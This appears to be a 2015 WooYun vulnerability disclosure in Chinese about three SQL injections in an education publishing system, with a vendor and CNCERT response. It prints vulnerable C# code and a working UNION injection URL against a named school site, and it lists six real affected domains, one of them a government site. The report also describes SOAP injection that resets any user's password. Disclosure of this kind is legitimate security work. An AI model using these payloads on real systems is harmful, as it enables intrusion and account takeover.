当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120504

漏洞标题:某通用教育系统3枚注入外加WEBSVC SOAP注入方式

相关厂商:杭州东方盈动信息技术有限公司

漏洞作者: Damo

提交时间:2015-06-16 12:53

修复时间:2015-09-19 07:58

公开时间:2015-09-19 07:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-21: 厂商已经确认,细节仅向厂商公开
2015-06-24: 细节向第三方安全合作伙伴开放
2015-08-15: 细节向核心白帽子及相关领域专家公开
2015-08-25: 细节向普通白帽子公开
2015-09-04: 细节向实习白帽子公开
2015-09-19: 细节向公众公开

简要描述:

已补充的洞洞求审核 wooyun-2015-0118737

详细说明:

系统:盈动信息发布系统
注入1:
问题文件:AnnounceShow.aspx
问题参数:Id
代码分析:

protected void Page_Load(object sender, EventArgs e)
{
...略
string id = this.Page.Request.QueryString["Id"];/*URL传参*/
this.LoadMe(id);/*直接将string字符串代入该方法 跟进方法*/
略...
}
private void LoadMe(string id)
{
DataTable announceist = this.GetAnnounceist(id);/*参数未处理直接代入 GetAnnounceist方法*/
略...
}
public DataTable GetAnnounceist(string id)
{
int trueWebID = Globals.get_TrueWebID();
string str = "A.ID ='" + id + "' ";/*直接SQL拼接导致注入*/
SqlConnection sqlConnection = new SqlConnection(Globals.get_ConnectStr());
SqlCommand selectCommand = new SqlCommand("SELECT A.* FROM Announces A WHERE " + str, sqlConnection);
SqlDataAdapter sqlDataAdapter = new SqlDataAdapter(selectCommand);
DataSet dataSet = new DataSet("ClassDataSet");
sqlConnection.Open();
sqlDataAdapter.Fill(dataSet, "ClassData");
sqlConnection.Close();
return dataSet.Tables["ClassData"];
}


利用方式:
URL:/AnnounceShow.aspx?Id=1122221' union all select 1,'wooyun',@@VERSION,null,null,null,null,null,null,null,null,null--
例如:http://www.dqjy.cn/AnnounceShow.aspx?Id=1122221' union all select 1,'wooyun',@@VERSION,null,null,null,null,null,null,null,null,null--
结果如下图:

注入1.png


注入2为webSVC注入
问题文件:WebService/WebUserDataProcess.asmx
问题接口:UseOrUnUseUser
问题参数:strUserGuid
代码分析:

[WebMethod]
public string UseOrUnUseUser(string strUserGuid, string strIsUse)
{
WebBFSynBase webBFSynBase = new WebBFSynBase();
bool blIsUse = !(strIsUse == "启用");
return webBFSynBase.UseOrUnUseUser(strUserGuid, blIsUse).ToString();/*未过滤直接将参数strUserGuid带入到UseOrUnUseUser*/
}
// WebBFSynBase
public string UseOrUnUseUser(string strUserGuid, bool blIsUse)
{
string text = "";
string cmdText = string.Concat(new object[]
{
" update Users set LockUser ='",
blIsUse,
"' where Guid ='",
strUserGuid,/*SQL拼接导致注入*/
"'"
});
略....
return result;
}


调用此SVC只能通过SOAP 1.1 或者SOAP 1.2 所以我本地创建了一个c#的请求代码,利用方式下面压缩包中有代码
利用代码:http://pan.baidu.com/s/1dNdOa 7x2e
结果如图:

SVC1.png


注入3为webSVC注入同时可以更改任意用户密码,也是SOAP方式,
问题文件:WebService/WebUserDataProcess.asmx
问题接口:UpdatePassword
问题参数:strUserGuid和strUserPass
代码分析:

[WebMethod]
public string UpdatePassword(string strUserGuid, string strUserPass)
{
WebBFSynBase webBFSynBase = new WebBFSynBase();
return webBFSynBase.UpdatePwd(strUserGuid, strUserPass);/*未过滤直接将参数带入到webBFSynBase.UpdatePwd*/
}
public string UpdatePwd(string strUserGuid, string strUserPass)
{
string a = "";
SqlConnection sqlConnection = new SqlConnection(Globals.get_ConnectStr());
SqlCommand sqlCommand = new SqlCommand(string.Concat(new string[]
{
"Update Users Set Password='",
strUserPass,/*SQL拼接*/
"' WHERE Guid='",
strUserGuid,/*SQL拼接*/
"'"
}), sqlConnection);
try
{
sqlConnection.Open();
int num = sqlCommand.ExecuteNonQuery();
}
catch (SqlException ex)
{
a = ex.Message;/*SQL错误信息*/
}
finally
{
sqlConnection.Close();
}
string result;
if (a != "")/*将错误信息过滤掉*/
{
result = "false";
}
else
{
result = "true";
}
return result;
}


上面代码将错误信息过滤掉了,另外目前的注入工具好像没有SOAP方式注入的,这个地方只是慢慢猜解的过程以及执行update delete bak等命令
利用方式和注入2一样

漏洞证明:

注入1

注入1.png


注入2

SVC1.png


案例:
http://www.hzlyzx.com
http://www.jgedu.net
http://www.hzjlxx.com
http://www.jhjdedu.org
http://www.dqjy.cn
http://www.hzedu.gov.cn (有狗,第一种注入失败,但是SVC的注入是OK的)

修复方案:

过滤 或参数化或@程序员

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-06-21 07:57

厂商回复:

cnvd确认并复现所述情况,暂未能建立与软件生产厂商的直接处置渠道,案例暂不涉及政府和重要部门,待认领。

最新状态:

暂无